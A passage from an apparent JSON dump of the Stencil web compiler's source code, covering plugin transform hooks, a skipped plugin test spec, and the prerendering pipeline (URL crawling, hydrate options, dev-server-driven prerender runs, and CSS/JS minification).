{\n      cmp.styleDocs = cmp.styleDocs || [];\n      const cssParseResults = await parseCssImports(\n        config,\n        compilerCtx,\n        buildCtx,\n        id,\n        transformResults.id,\n        transformResults.code,\n        cmp.styleDocs,\n      );\n      transformResults.code = cssParseResults.styleText;\n      transformResults.dependencies.push(\n        ...getDependencySubset(cssParseResults.imports, transformResults.dependencies),\n      );\n    } else {\n      const cssParseResults = await parseCssImports(\n        config,\n        compilerCtx,\n        buildCtx,\n        id,\n        transformResults.id,\n        transformResults.code,\n      );\n      transformResults.code = cssParseResults.styleText;\n      transformResults.dependencies.push(\n        ...getDependencySubset(cssParseResults.imports, transformResults.dependencies),\n      );\n    }\n  }\n\n  return transformResults;\n};\n\nexport const runPluginTransformsEsmImports = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  code: string,\n  id: string,\n) => {\n  const pluginCtx: PluginCtx = {\n    config: config,\n    sys: config.sys,\n    fs: compilerCtx.fs,\n    cache: compilerCtx.cache,\n    diagnostics: [],\n  };\n\n  const transformResults = {\n    code,\n    id,\n    map: undefined as string | undefined,\n    diagnostics: [] as d.Diagnostic[],\n    dependencies: [] as string[],\n  } satisfies PluginTransformResults;\n\n  const isRawCssFile = id.toLowerCase().endsWith('.css');\n  if (isRawCssFile) {\n    // concat all css @imports into one file\n    // when the entry file is a .css file (not .scss)\n    // do this BEFORE transformations on css files\n    const cssParseResults = await parseCssImports(config, compilerCtx, buildCtx, id, id, transformResults.code);\n    transformResults.code = cssParseResults.styleText;\n    if (Array.isArray(cssParseResults.imports)) {\n      transformResults.dependencies.push(...cssParseResults.imports);\n    }\n  }\n\n  for (const plugin of pluginCtx.config?.plugins ?? []) {\n    if (isFunction(plugin.transform)) {\n      try {\n        let pluginTransformResults: PluginTransformResults | string;\n        const results = plugin.transform(transformResults.code, transformResults.id, pluginCtx);\n        if (results != null) {\n          if (isFunction((results as any).then)) {\n            pluginTransformResults = await results;\n          } else {\n            pluginTransformResults = results as PluginTransformResults;\n          }\n\n          if (pluginTransformResults != null) {\n            if (isString(pluginTransformResults)) {\n              transformResults.code = pluginTransformResults as string;\n            } else {\n              if (isString(pluginTransformResults.code)) {\n                transformResults.code = pluginTransformResults.code;\n              }\n              if (isString(pluginTransformResults.id)) {\n                transformResults.id = pluginTransformResults.id;\n              }\n              if (Array.isArray(pluginTransformResults.dependencies)) {\n                const imports = pluginTransformResults.dependencies.filter(\n                  (f) => !transformResults.dependencies.includes(f),\n                );\n                transformResults.dependencies.push(...imports);\n              }\n            }\n          }\n        }\n      } catch (e: any) {\n        catchError(transformResults.diagnostics, e);\n      }\n    }\n  }\n\n  transformResults.diagnostics.push(...pluginCtx.diagnostics);\n\n  if (!isRawCssFile) {\n    // precompilers just ran and converted @import \"my.css\" into @import url(\"my.css\")\n    // because of the \".css\" extension. Precompilers did NOT concat the \".css\" files into\n    // the output but only updated it to use url() instead. Let's go ahead and concat\n    // the url() css files into one file like we did for raw .css files. Do this\n    // AFTER transformations on non-css files\n    const cssParseResults = await parseCssImports(\n      config,\n      compilerCtx,\n      buildCtx,\n      id,\n      transformResults.id,\n      transformResults.code,\n    );\n    transformResults.code = cssParseResults.styleText;\n    if (Array.isArray(cssParseResults.imports)) {\n      const imports = cssParseResults.imports.filter((f) => !transformResults.dependencies.includes(f));\n      transformResults.dependencies.push(...imports);\n    }\n  }\n\n  return transformResults;\n};\n"
  },
  {
    "path": "src/compiler/plugin/test/plugin.spec.ts",
    "content": "// @ts-nocheck\nimport { createCompiler } from '@stencil/core/compiler';\nimport { mockConfig } from '@stencil/core/testing';\nimport { normalizePath } from '@utils';\nimport path from 'path';\n\nimport type * as d from '../../../declarations';\n\ndescribe.skip('plugin', () => {\n  jest.setTimeout(20000);\n  let compiler: d.Compiler;\n  let config: d.Config;\n  const root = path.resolve('/');\n\n  beforeEach(async () => {\n    config = mockConfig();\n    compiler = await createCompiler(config);\n    console.log(compiler.sys);\n    await compiler.sys.writeFile(path.join(root, 'src', 'index.html'), `<cmp-a></cmp-a>`);\n  });\n\n  afterEach(async () => {\n    await compiler.destroy();\n  });\n\n  it('transform, async', async () => {\n    compiler.config.bundles = [{ components: ['cmp-a'] }];\n\n    await compiler.fs.writeFiles(\n      {\n        [path.join(root, 'stencil.config.js')]: `\n\n        exports.config = {\n          plugins: [myPlugin()]\n        };\n      `,\n        [path.join(root, 'src', 'cmp-a.tsx')]: `\n        @Component({ tag: 'cmp-a' }) export class CmpA {\n          constructor() { }\n        }\n      `,\n      },\n      { clearFileCache: true },\n    );\n    await compiler.fs.commit();\n\n    function myPlugin() {\n      return {\n        transform: function (sourceText: string) {\n          return new Promise((resolve) => {\n            sourceText += `\\nconsole.log('transformed!')`;\n            resolve(sourceText);\n          });\n        },\n        name: 'myPlugin',\n      };\n    }\n\n    config.rollupPlugins = [myPlugin()];\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    const cmpA = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n    expect(cmpA).toContain('transformed!');\n  });\n\n  it('transform, sync', async () => {\n    await compiler.fs.writeFiles(\n      {\n        [path.join(root, 'src', 'cmp-a.tsx')]: `\n        @Component({ tag: 'cmp-a' }) export class CmpA {\n          constructor() { }\n        }\n      `,\n      },\n      { clearFileCache: true },\n    );\n    await compiler.fs.commit();\n\n    function myPlugin() {\n      return {\n        transform(sourceText: string) {\n          sourceText += `\\nconsole.log('transformed!')`;\n          return sourceText;\n        },\n        name: 'myPlugin',\n      };\n    }\n\n    config.rollupPlugins = [myPlugin()];\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    const cmpA = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n    expect(cmpA).toContain('transformed!');\n  });\n\n  it('resolveId, async', async () => {\n    const filePath = normalizePath(path.join(root, 'dist', 'my-dep-fn.js'));\n\n    await compiler.fs.writeFiles(\n      {\n        [path.join(root, 'src', 'cmp-a.tsx')]: `\n        import { depFn } '#crazy-path!'\n        @Component({ tag: 'cmp-a' }) export class CmpA {\n          constructor() {\n            depFn();\n          }\n        }\n      `,\n        [filePath]: `\n        export function depFn(){\n          console.log('imported depFun()');\n        }\n      `,\n      },\n      { clearFileCache: true },\n    );\n    await compiler.fs.commit();\n\n    function myPlugin() {\n      return {\n        resolveId(importee: string) {\n          if (importee === '#crazy-path!') {\n            return Promise.resolve(filePath);\n          }\n          return Promise.resolve(null);\n        },\n        name: 'myPlugin',\n      };\n    }\n\n    config.rollupPlugins = [myPlugin()];\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    const cmpA = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n    expect(cmpA).toContain('imported depFun()');\n  });\n\n  it('resolveId, sync', async () => {\n    const filePath = normalizePath(path.join(root, 'dist', 'my-dep-fn.js'));\n\n    await compiler.fs.writeFiles(\n      {\n        [path.join(root, 'src', 'cmp-a.tsx')]: `\n        import { depFn } '#crazy-path!'\n        @Component({ tag: 'cmp-a' }) export class CmpA {\n          constructor() {\n            depFn();\n          }\n        }\n      `,\n        [filePath]: `\n        export function depFn(){\n          console.log('imported depFun()');\n        }\n      `,\n      },\n      { clearFileCache: true },\n    );\n    await compiler.fs.commit();\n\n    function myPlugin() {\n      return {\n        resolveId(importee: string) {\n          if (importee === '#crazy-path!') {\n            return filePath;\n          }\n          return null;\n        },\n        name: 'myPlugin',\n      };\n    }\n    config.rollupPlugins = [myPlugin()];\n\n    const r = await compiler.build();\n    expect(r.diagnostics).toHaveLength(0);\n\n    const cmpA = await compiler.fs.readFile(path.join(root, 'www', 'build', 'cmp-a.entry.js'));\n    expect(cmpA).toContain('imported depFun()');\n  });\n});\n"
  },
  {
    "path": "src/compiler/plugin/test/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../testing/tsconfig.internal.json\"\n}\n"
  },
  {
    "path": "src/compiler/prerender/crawl-urls.ts",
    "content": "import { catchError } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const crawlAnchorsForNextUrls = (\n  prerenderConfig: d.PrerenderConfig,\n  diagnostics: d.Diagnostic[],\n  baseUrl: URL,\n  currentUrl: URL,\n  parsedAnchors: d.HydrateAnchorElement[],\n) => {\n  if (!Array.isArray(parsedAnchors) || parsedAnchors.length === 0) {\n    return [];\n  }\n\n  const basePathParts = baseUrl.pathname.split('/');\n\n  // filterAnchor(): filter which anchors to actually crawl\n  // normalizeUrl(): normalize href strings into URL objects\n  // filterUrl(): filter which urls to actually crawl\n  // normalizeHref(): normalize URL objects into href strings\n\n  return parsedAnchors\n    .filter((anchor) => {\n      // filter which anchors to actually crawl\n      if (typeof prerenderConfig.filterAnchor === 'function') {\n        // user filterAnchor()\n        try {\n          const userFilterAnchor = prerenderConfig.filterAnchor(anchor, currentUrl);\n          if (userFilterAnchor === false) {\n            return false;\n          }\n        } catch (e: any) {\n          // user filterAnchor() error\n          catchError(diagnostics, e);\n          return false;\n        }\n      }\n\n      // standard filterAnchor()\n      return standardFilterAnchor(diagnostics, anchor, currentUrl);\n    })\n\n    .map((anchor) => {\n      // normalize href strings into URL objects\n      if (typeof prerenderConfig.normalizeUrl === 'function') {\n        try {\n          // user normalizeUrl()\n          const userNormalizedUrl = prerenderConfig.normalizeUrl(anchor.href, currentUrl);\n\n          // standard normalizeUrl(), after user normalized\n          return standardNormalizeUrl(diagnostics, userNormalizedUrl.href, currentUrl);\n        } catch (e: any) {\n          // user normalizeUrl() error\n          catchError(diagnostics, e);\n        }\n      }\n\n      // standard normalizeUrl(), no user normalized\n      return standardNormalizeUrl(diagnostics, anchor.href, currentUrl);\n    })\n\n    .filter((url) => {\n      // filter which urls to actually crawl\n      if (typeof prerenderConfig.filterUrl === 'function') {\n        // user filterUrl()\n        try {\n          const userFilterUrl = prerenderConfig.filterUrl(url, currentUrl);\n          if (userFilterUrl === false) {\n            return false;\n          }\n        } catch (e: any) {\n          // user filterUrl() error\n          catchError(diagnostics, e);\n          return false;\n        }\n      }\n\n      // standard filterUrl()\n      return standardFilterUrl(diagnostics, url, currentUrl, basePathParts);\n    })\n\n    .map((url) => {\n      // standard normalize href\n      // normalize URL objects into href strings\n      return standardNormalizeHref(prerenderConfig, diagnostics, url);\n    })\n\n    .reduce((hrefs, href) => {\n      // remove any duplicate hrefs from the array\n      if (!hrefs.includes(href)) {\n        hrefs.push(href);\n      }\n      return hrefs;\n    }, [] as string[])\n\n    .sort((a: string, b: string) => {\n      // sort the hrefs so the urls with the least amount\n      // of directories are first, then by alphabetical\n      const partsA = a.split('/').length;\n      const partsB = b.split('/').length;\n      if (partsA < partsB) return -1;\n      if (partsA > partsB) return 1;\n      if (a < b) return -1;\n      if (a > b) return 1;\n      return 0;\n    });\n};\n\nconst standardFilterAnchor = (diagnostics: d.Diagnostic[], attrs: { [attrName: string]: string }, _base: URL) => {\n  try {\n    let href = attrs.href;\n    if (typeof attrs.download === 'string') {\n      return false;\n    }\n    if (typeof href === 'string') {\n      href = href.trim();\n\n      if (href !== '' && !href.startsWith('#') && !href.startsWith('?')) {\n        const target = attrs.target;\n        if (typeof target === 'string' && attrs.target.trim().toLowerCase() !== '_self') {\n          return false;\n        }\n        return true;\n      }\n    }\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n\n  return false;\n};\n\nconst standardNormalizeUrl = (diagnostics: d.Diagnostic[], href: string, currentUrl: URL) => {\n  if (typeof href === 'string') {\n    try {\n      const outputUrl = new URL(href, currentUrl.href);\n      outputUrl.protocol = currentUrl.href;\n      outputUrl.hash = '';\n      outputUrl.search = '';\n\n      const parts = outputUrl.pathname.split('/');\n      const lastPart = parts[parts.length - 1];\n      if (lastPart === 'index.html' || lastPart === 'index.htm') {\n        parts.pop();\n        outputUrl.pathname = parts.join('/');\n      }\n\n      return outputUrl;\n    } catch (e: any) {\n      catchError(diagnostics, e);\n    }\n  }\n  return null;\n};\n\nconst standardFilterUrl = (diagnostics: d.Diagnostic[], url: URL, currentUrl: URL, basePathParts: string[]) => {\n  try {\n    if (url.hostname != null && currentUrl.hostname != null && url.hostname !== currentUrl.hostname) {\n      return false;\n    }\n\n    if (shouldSkipExtension(url.pathname)) {\n      return false;\n    }\n\n    const inputPathParts = url.pathname.split('/');\n\n    if (inputPathParts.length < basePathParts.length) {\n      return false;\n    }\n\n    for (let i = 0; i < basePathParts.length; i++) {\n      const basePathPart = basePathParts[i];\n      const inputPathPart = inputPathParts[i];\n\n      if (basePathParts.length - 1 === i && basePathPart === '') {\n        break;\n      }\n\n      if (basePathPart !== inputPathPart) {\n        return false;\n      }\n    }\n\n    return true;\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n  return false;\n};\n\nexport const standardNormalizeHref = (prerenderConfig: d.PrerenderConfig, diagnostics: d.Diagnostic[], url: URL) => {\n  try {\n    if (url != null && typeof url.href === 'string') {\n      let href = url.href.trim();\n\n      if (prerenderConfig.trailingSlash) {\n        // url should have a trailing slash\n        if (!href.endsWith('/')) {\n          const parts = url.pathname.split('/');\n          const lastPart = parts[parts.length - 1];\n          if (!lastPart.includes('.')) {\n            // does not end with a slash and last part does not have a dot\n            href += '/';\n          }\n        }\n      } else {\n        // url should NOT have a trailing slash\n        if (href.endsWith('/') && url.pathname !== '/') {\n          // this has a trailing slash and it's not the root path\n          href = href.slice(0, -1);\n        }\n      }\n\n      return href;\n    }\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n\n  return null;\n};\n\nconst shouldSkipExtension = (filename: string) => SKIP_EXT.has(extname(filename).toLowerCase());\n\nconst extname = (str: string) => {\n  const parts = str.split('.');\n  return parts[parts.length - 1].toLowerCase();\n};\n\nconst SKIP_EXT = new Set(['zip', 'rar', 'tar', 'gz', 'bz2', 'png', 'jpeg', 'jpg', 'gif', 'pdf', 'tiff', 'psd']);\n"
  },
  {
    "path": "src/compiler/prerender/prerender-config.ts",
    "content": "import { isString } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { nodeRequire } from '../sys/node-require';\n\nexport const getPrerenderConfig = (diagnostics: d.Diagnostic[], prerenderConfigPath: string) => {\n  const prerenderConfig: d.PrerenderConfig = {};\n\n  if (isString(prerenderConfigPath)) {\n    const results = nodeRequire(prerenderConfigPath);\n    diagnostics.push(...results.diagnostics);\n\n    if (results.module != null && typeof results.module === 'object') {\n      if (results.module.config != null && typeof results.module.config === 'object') {\n        Object.assign(prerenderConfig, results.module.config);\n      } else {\n        Object.assign(prerenderConfig, results.module);\n      }\n    }\n  }\n\n  return prerenderConfig;\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerender-hydrate-options.ts",
    "content": "import { catchError } from '@utils';\n\nimport type * as d from '../../declarations';\n\nexport const getHydrateOptions = (prerenderConfig: d.PrerenderConfig, url: URL, diagnostics: d.Diagnostic[]) => {\n  const prerenderUrl = url.href;\n\n  const opts: d.PrerenderHydrateOptions = {\n    url: prerenderUrl,\n    addModulePreloads: true,\n    approximateLineWidth: 100,\n    hashAssets: 'querystring',\n    inlineExternalStyleSheets: false,\n    minifyScriptElements: true,\n    minifyStyleElements: true,\n    removeAttributeQuotes: true,\n    removeBooleanAttributeQuotes: true,\n    removeEmptyAttributes: true,\n    removeHtmlComments: true,\n  };\n\n  if (prerenderConfig.canonicalUrl === null || (prerenderConfig.canonicalUrl as any) === false) {\n    opts.canonicalUrl = null;\n  } else if (typeof prerenderConfig.canonicalUrl === 'function') {\n    try {\n      opts.canonicalUrl = prerenderConfig.canonicalUrl(url);\n    } catch (e: any) {\n      catchError(diagnostics, e);\n    }\n  } else {\n    opts.canonicalUrl = prerenderUrl;\n  }\n\n  if (typeof prerenderConfig.hydrateOptions === 'function') {\n    try {\n      const userOpts = prerenderConfig.hydrateOptions(url);\n      if (userOpts != null) {\n        if (userOpts.prettyHtml && typeof userOpts.removeAttributeQuotes !== 'boolean') {\n          opts.removeAttributeQuotes = false;\n        }\n        Object.assign(opts, userOpts);\n      }\n    } catch (e: any) {\n      catchError(diagnostics, e);\n    }\n  }\n\n  return opts;\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerender-main.ts",
    "content": "import { buildError, catchError, hasError, isOutputTargetWww, isString, join } from '@utils';\nimport { isAbsolute } from 'path';\n\nimport type * as d from '../../declarations';\nimport { createHydrateBuildId } from '../../hydrate/runner/render-utils';\nimport { getAbsoluteBuildDir } from '../html/html-utils';\nimport { createWorkerMainContext } from '../worker/main-thread';\nimport { createWorkerContext } from '../worker/worker-thread';\nimport { getPrerenderConfig } from './prerender-config';\nimport { getHydrateOptions } from './prerender-hydrate-options';\nimport { drainPrerenderQueue, initializePrerenderEntryUrls } from './prerender-queue';\nimport { generateTemplateHtml } from './prerender-template-html';\nimport { generateRobotsTxt } from './robots-txt';\nimport { generateSitemapXml } from './sitemap-xml';\n\nexport const createPrerenderer = async (config: d.ValidatedConfig) => {\n  const start = (opts: d.PrerenderStartOptions) => {\n    return runPrerender(config, opts.hydrateAppFilePath, opts.componentGraph, opts.srcIndexHtmlPath, opts.buildId);\n  };\n  return {\n    start,\n  };\n};\n\nconst runPrerender = async (\n  config: d.ValidatedConfig,\n  hydrateAppFilePath: string,\n  componentGraph: d.BuildResultsComponentGraph,\n  srcIndexHtmlPath: string,\n  buildId: string,\n) => {\n  const startTime = Date.now();\n  const diagnostics: d.Diagnostic[] = [];\n  const results: d.PrerenderResults = {\n    buildId,\n    diagnostics,\n    urls: 0,\n    duration: 0,\n    average: 0,\n  };\n  const outputTargets = config.outputTargets.filter(isOutputTargetWww).filter((o) => isString(o.indexHtml));\n\n  if (!isString(results.buildId)) {\n    results.buildId = createHydrateBuildId();\n  }\n\n  if (outputTargets.length === 0) {\n    return results;\n  }\n\n  if (!isString(hydrateAppFilePath)) {\n    const diagnostic = buildError(diagnostics);\n    diagnostic.header = `Prerender Error`;\n    diagnostic.messageText = `Build results missing \"hydrateAppFilePath\"`;\n  } else {\n    if (!isAbsolute(hydrateAppFilePath)) {\n      hydrateAppFilePath = join(config.sys.getCurrentDirectory(), hydrateAppFilePath);\n    }\n\n    const hydrateAppExists = await config.sys.access(hydrateAppFilePath);\n    if (!hydrateAppExists) {\n      const diagnostic = buildError(diagnostics);\n      diagnostic.header = `Prerender Error`;\n      diagnostic.messageText = `Unable to open \"hydrateAppFilePath\": ${hydrateAppFilePath}`;\n    }\n  }\n\n  if (!hasError(diagnostics)) {\n    let workerCtx: d.CompilerWorkerContext;\n    let workerCtrl: d.WorkerMainController;\n\n    if (config.sys.createWorkerController == null || config.maxConcurrentWorkers < 1) {\n      // we don't have a `maxConcurrentWorkers` setting which makes it\n      // necessary to actually use threaded workers, so we create a\n      // single-threaded worker context here\n      workerCtx = createWorkerContext(config.sys);\n    } else {\n      // we want to stand up the full threaded worker setup, so we first need\n      // to build a worker controller and then we create an appropriate worker\n      // context for it (this will mean that when methods are called on\n      // `workerCtx` they're dispatched to workers in other threads)\n      workerCtrl = config.sys.createWorkerController(config.maxConcurrentWorkers);\n      workerCtx = createWorkerMainContext(workerCtrl);\n    }\n\n    const devServerConfig = { ...config.devServer };\n    devServerConfig.openBrowser = false;\n    devServerConfig.gzip = false;\n    devServerConfig.logRequests = false;\n    devServerConfig.reloadStrategy = null;\n\n    const devServerPath = config.sys.getDevServerExecutingPath();\n    const { start }: typeof import('@stencil/core/dev-server') = await config.sys.dynamicImport(devServerPath);\n    const devServer = await start(devServerConfig, config.logger);\n\n    try {\n      await Promise.all(\n        outputTargets.map((outputTarget) => {\n          return runPrerenderOutputTarget(\n            workerCtx,\n            results,\n            diagnostics,\n            config,\n            devServer,\n            hydrateAppFilePath,\n            componentGraph,\n            srcIndexHtmlPath,\n            outputTarget,\n          );\n        }),\n      );\n    } catch (e: any) {\n      catchError(diagnostics, e);\n    }\n\n    if (workerCtrl) {\n      workerCtrl.destroy();\n    }\n    if (devServer) {\n      await devServer.close();\n    }\n  }\n\n  results.duration = Date.now() - startTime;\n  if (results.urls > 0) {\n    results.average = results.duration / results.urls;\n  }\n\n  return results;\n};\n\nconst runPrerenderOutputTarget = async (\n  workerCtx: d.CompilerWorkerContext,\n  results: d.PrerenderResults,\n  diagnostics: d.Diagnostic[],\n  config: d.ValidatedConfig,\n  devServer: d.DevServer,\n  hydrateAppFilePath: string,\n  componentGraph: d.BuildResultsComponentGraph,\n  srcIndexHtmlPath: string,\n  outputTarget: d.OutputTargetWww,\n) => {\n  try {\n    const timeSpan = config.logger.createTimeSpan(`prerendering started`);\n\n    const devServerBaseUrl = new URL(devServer.browserUrl);\n    const devServerHostUrl = devServerBaseUrl.origin;\n    const prerenderConfig = getPrerenderConfig(diagnostics, outputTarget.prerenderConfig);\n\n    const hydrateOpts = getHydrateOptions(prerenderConfig, devServerBaseUrl, diagnostics);\n\n    config.logger.debug(`prerender hydrate app: ${hydrateAppFilePath}`);\n    config.logger.debug(`prerender dev server: ${devServerHostUrl}`);\n\n    if (hasError(diagnostics)) {\n      return;\n    }\n\n    // get the prerender urls to queue up\n    const prerenderDiagnostics: d.Diagnostic[] = [];\n    const manager: d.PrerenderManager = {\n      prerenderUrlWorker: (prerenderRequest: d.PrerenderUrlRequest) => workerCtx.prerenderWorker(prerenderRequest),\n      componentGraphPath: null,\n      config: config,\n      diagnostics: prerenderDiagnostics,\n      devServerHostUrl: devServerHostUrl,\n      hydrateAppFilePath: hydrateAppFilePath,\n      isDebug: config.logLevel === 'debug',\n      logCount: 0,\n      maxConcurrency: Math.max(20, config.maxConcurrentWorkers * 10),\n      outputTarget: outputTarget,\n      prerenderConfig: prerenderConfig,\n      prerenderConfigPath: outputTarget.prerenderConfig,\n      staticSite: false,\n      templateId: null,\n      urlsCompleted: new Set(),\n      urlsPending: new Set(),\n      urlsProcessing: new Set(),\n      resolve: null,\n    };\n\n    if (!config.flags.ci && !manager.isDebug) {\n      manager.progressLogger = await config.logger.createLineUpdater();\n    }\n\n    initializePrerenderEntryUrls(results, manager);\n\n    if (manager.urlsPending.size === 0) {\n      const err = buildError(diagnostics);\n      err.messageText = `prerendering failed: no urls found in the prerender config`;\n      return;\n    }\n\n    const templateData = await generateTemplateHtml(\n      config,\n      prerenderConfig,\n      diagnostics,\n      manager.isDebug,\n      srcIndexHtmlPath,\n      outputTarget,\n      hydrateOpts,\n      manager,\n    );\n    if (diagnostics.length > 0 || !templateData || !isString(templateData.html)) {\n      return;\n    }\n\n    manager.templateId = await createPrerenderTemplate(config, templateData.html);\n    manager.staticSite = templateData.staticSite;\n    manager.componentGraphPath = await createComponentGraphPath(config, componentGraph, outputTarget);\n\n    await new Promise((resolve) => {\n      manager.resolve = resolve;\n      config.sys.nextTick(() => drainPrerenderQueue(results, manager));\n    });\n\n    if (manager.isDebug) {\n      const debugDiagnostics = prerenderDiagnostics.filter((d) => d.level === 'debug');\n      if (debugDiagnostics.length > 0) {\n        config.logger.printDiagnostics(debugDiagnostics);\n      }\n    }\n\n    const duration = timeSpan.duration();\n\n    const sitemapResults = await generateSitemapXml(manager);\n    await generateRobotsTxt(manager, sitemapResults);\n\n    const prerenderBuildErrors = prerenderDiagnostics.filter((d) => d.level === 'error');\n    const prerenderRuntimeErrors = prerenderDiagnostics.filter((d) => d.type === 'runtime');\n\n    if (prerenderBuildErrors.length > 0) {\n      // convert to just runtime errors so the other build files still write\n      // but the CLI knows an error occurred and should have an exit code 1\n      for (const diagnostic of prerenderBuildErrors) {\n        diagnostic.type = 'runtime';\n      }\n      diagnostics.push(...prerenderBuildErrors);\n    }\n    diagnostics.push(...prerenderRuntimeErrors);\n\n    // Clear progress logger\n    if (manager.progressLogger) {\n      await manager.progressLogger.stop();\n    }\n\n    const totalUrls = manager.urlsCompleted.size;\n    if (totalUrls > 1) {\n      const average = Math.round(duration / totalUrls);\n      config.logger.info(`prerendered ${totalUrls} urls, averaging ${average} ms per url`);\n    }\n\n    const statusMessage = prerenderBuildErrors.length > 0 ? 'failed' : 'finished';\n    const statusColor = prerenderBuildErrors.length > 0 ? 'red' : 'green';\n\n    timeSpan.finish(`prerendering ${statusMessage}`, statusColor, true);\n  } catch (e: any) {\n    catchError(diagnostics, e);\n  }\n};\n\nconst createPrerenderTemplate = async (config: d.ValidatedConfig, templateHtml: string) => {\n  const hash = await config.sys.generateContentHash(templateHtml, 12);\n  const templateFileName = `prerender-${hash}.html`;\n  const templateId = join(config.sys.tmpDirSync(), templateFileName);\n  config.logger.debug(`prerender template: ${templateId}`);\n  config.sys.writeFileSync(templateId, templateHtml);\n  return templateId;\n};\n\nconst createComponentGraphPath = async (\n  config: d.ValidatedConfig,\n  componentGraph: d.BuildResultsComponentGraph,\n  outputTarget: d.OutputTargetWww,\n) => {\n  if (componentGraph) {\n    const content = getComponentPathContent(componentGraph, outputTarget);\n    const hash = await config.sys.generateContentHash(content);\n    const fileName = `prerender-component-graph-${hash}.json`;\n    const componentGraphPath = join(config.sys.tmpDirSync(), fileName);\n    config.sys.writeFileSync(componentGraphPath, content);\n    return componentGraphPath;\n  }\n  return null;\n};\n\nconst getComponentPathContent = (componentGraph: { [scopeId: string]: string[] }, outputTarget: d.OutputTargetWww) => {\n  const buildDir = getAbsoluteBuildDir(outputTarget);\n  const object: { [key: string]: string[] } = {};\n  const entries = Object.entries(componentGraph);\n  for (const [key, chunks] of entries) {\n    object[key] = chunks.map((filename) => join(buildDir, filename));\n  }\n  return JSON.stringify(object);\n};\n"
  },
  {
    "path": "src/compiler/prerender/prerender-optimize.ts",
    "content": "import { catchError, flatOne, isString, join, unique } from '@utils';\n\nimport type * as d from '../../declarations';\nimport { injectModulePreloads } from '../html/inject-module-preloads';\nimport { minifyCss } from '../optimize/minify-css';\nimport { optimizeCss } from '../optimize/optimize-css';\nimport { optimizeJs } from '../optimize/optimize-js';\nimport { getScopeId } from '../style/scope-css';\nimport { PrerenderContext } from './prerender-worker-ctx';\n\nexport const inlineExternalStyleSheets = async (sys: d.CompilerSystem, appDir: string, doc: Document) => {\n  const documentLinks = Array.from(doc.querySelectorAll('link[rel=stylesheet]')) as HTMLLinkElement[];\n  if (documentLinks.length === 0) {\n    return;\n  }\n\n  await Promise.all(\n    documentLinks.map(async (link) => {\n      const href = link.getAttribute('href');\n      if (!href.startsWith('/') || link.getAttribute('media') !== null) {\n        return;\n      }\n\n      const fsPath = join(appDir, href);\n\n      try {\n        let styles = await sys.readFile(fsPath);\n\n        const optimizeResults = await optimizeCss({\n          input: styles,\n        });\n\n        styles = optimizeResults.output;\n\n        // insert inline <style>\n        const inlinedStyles = doc.createElement('style');\n        inlinedStyles.innerHTML = styles;\n        link.parentNode.insertBefore(inlinedStyles, link);\n        link.remove();\n\n        // mark inlinedStyle as tree-shakable\n        inlinedStyles.setAttribute('data-styles', '');\n\n        // since it's no longer a critical resource\n        link.setAttribute('media', '(max-width: 0px)');\n        link.setAttribute('importance', 'low');\n        link.setAttribute('onload', `this.media=''`);\n\n        // move <link rel=\"stylesheet\"> to the end of <body>\n        doc.body.appendChild(link);\n      } catch (e) {}\n    }),\n  );\n};\n\nexport const minifyScriptElements = async (doc: Document, addMinifiedAttr: boolean) => {\n  const scriptElms = Array.from(doc.querySelectorAll('script')).filter((scriptElm) => {\n    if (scriptElm.hasAttribute('src') || scriptElm.hasAttribute(dataMinifiedAttr)) {\n      return false;\n    }\n    const scriptType = scriptElm.getAttribute('type');\n    if (typeof scriptType === 'string' && scriptType !== 'module' && scriptType !== 'text/javascript') {\n      return false;\n    }\n    return true;\n  });\n\n  if (scriptElms.length === 0) {\n    return;\n  }\n\n  await Promise.all(\n    scriptElms.map(async (scriptElm) => {\n      const content = scriptElm.innerHTML.trim();\n      if (content.length > 0) {\n        const opts: d.OptimizeJsInput = {\n          input: content,\n          sourceMap: false,\n          target: 'latest',\n        };\n\n        if (scriptElm.getAttribute('type') !== 'module') {\n          opts.target = 'es5';\n        }\n\n        const optimizeResults = await optimizeJs(opts);\n\n        if (optimizeResults.diagnostics.length === 0) {\n          scriptElm.innerHTML = optimizeResults.output;\n        }\n\n        if (addMinifiedAttr) {\n          scriptElm.setAttribute(dataMinifiedAttr, '');\n        }\n      }\n    }),\n  );\n};\n\nexport const minifyStyleElements = async (\n  sys: d.CompilerSystem,\n  appDir: string,\n  doc: Document,\n  currentUrl: URL,\n  addMinifiedAttr: boolean,\n) => {\n  const styleElms = Array.from(doc.querySelectorAll('style')).filter((styleElm) => {\n    if (styleElm.hasAttribute(dataMinifiedAttr)) {\n      return false;\n    }\n    return true;\n  });\n\n  await Promise.all(\n    styleElms.map(async (styleElm) => {\n      const content = styleElm.innerHTML.trim();\n      if (content.length > 0) {\n        const optimizeResults = await optimizeCss({\n          input: content,\n          minify: true,\n          async resolveUrl(urlProp) {\n            const assetUrl = new URL(urlProp, currentUrl);\n            const hash = await getAssetFileHash(sys, appDir, assetUrl);\n            assetUrl.searchParams.append('v', hash);\n            return assetUrl.pathname + assetUrl.search;\n          },\n        });\n        if (optimizeResults.diagnostics.length === 0) {\n          styleElm.innerHTML = optimizeResults.output;\n        }\n        if (addMinifiedAttr) {\n          styleElm.setAttribute(dataMinifiedAttr, '');\n        }\n      }\n    }),\n  );\n};\n\nexport const excludeStaticComponents = (\n  doc: Document,\n  hydrateOpts: d.PrerenderHydrateOptions,\n  hydrateResults: d.HydrateResults,\n) => {\n  const staticComponents = hydrateOpts.staticComponents.filter((tag) => {\n    return hydrateResults.components.some((cmp) => cmp.tag === tag);\n  });\n\n  if (staticComponents.length > 0) {\n    const stencilScriptElm = doc.querySelector('script[data-stencil-namespace]');\n    if (stencilScriptElm) {\n      const namespace = stencilScriptElm.getAttribute('data-stencil-namespace');\n      let scriptContent = 